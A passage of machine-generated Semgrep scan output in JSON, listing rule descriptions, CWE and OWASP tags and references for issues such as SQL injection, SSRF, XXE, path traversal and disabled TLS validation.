Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","id":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","name":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"help":{"markdown":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","id":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","name":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"help":{"markdown":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","id":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","name":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","id":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","name":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"help":{"markdown":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning)\n - [https://pytorch.org/docs/stable/data.html#memory-pinning](https://pytorch.org/docs/stable/data.html#memory-pinning)\n","text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"helpUri":"https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","id":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","name":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.automatic-memory-pinning.automatic-memory-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"help":{"markdown":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"helpUri":"https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","id":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","name":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.iterate-over-empty-map.iterate-over-empty-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint","id":"rust.actix.nosql.mongodb-taint.mongodb-taint","name":"rust.actix.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host","id":"php.lang.security.injection.tainted-url-host.tainted-url-host","name":"php.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","id":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","name":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Dangerous client config used, ensure SSL verification"},"help":{"markdown":"Dangerous client config used, ensure SSL verification\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous)\n - [https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html](https://docs.rs/rustls/latest/rustls/client/struct.DangerousClientConfig.html)\n - [https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous](https://docs.rs/rustls/latest/rustls/client/struct.ClientConfig.html#method.dangerous)\n","text":"Dangerous client config used, ensure SSL verification"},"helpUri":"https://semgrep.dev/r/rust.lang.security.rustls-dangerous.rustls-dangerous","id":"rust.lang.security.rustls-dangerous.rustls-dangerous","name":"rust.lang.security.rustls-dangerous.rustls-dangerous","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.rustls-dangerous.rustls-dangerous"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` Beware, using a custom EntityResolver will render these settings useless and you will be responsible for handeling security in the implementation of you EntityResolver. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parameter-entity.documentbuilderfactory-xxe-parameter-entity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-disabled-cert-validation.curl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom `EntityResolver` for all previous security configurations for are bypassed. It is your responsibility to handle security in the `EntityResolver` implementation instead. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-custom-entityresolver.xml-custom-entityresolver)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. By setting a custom 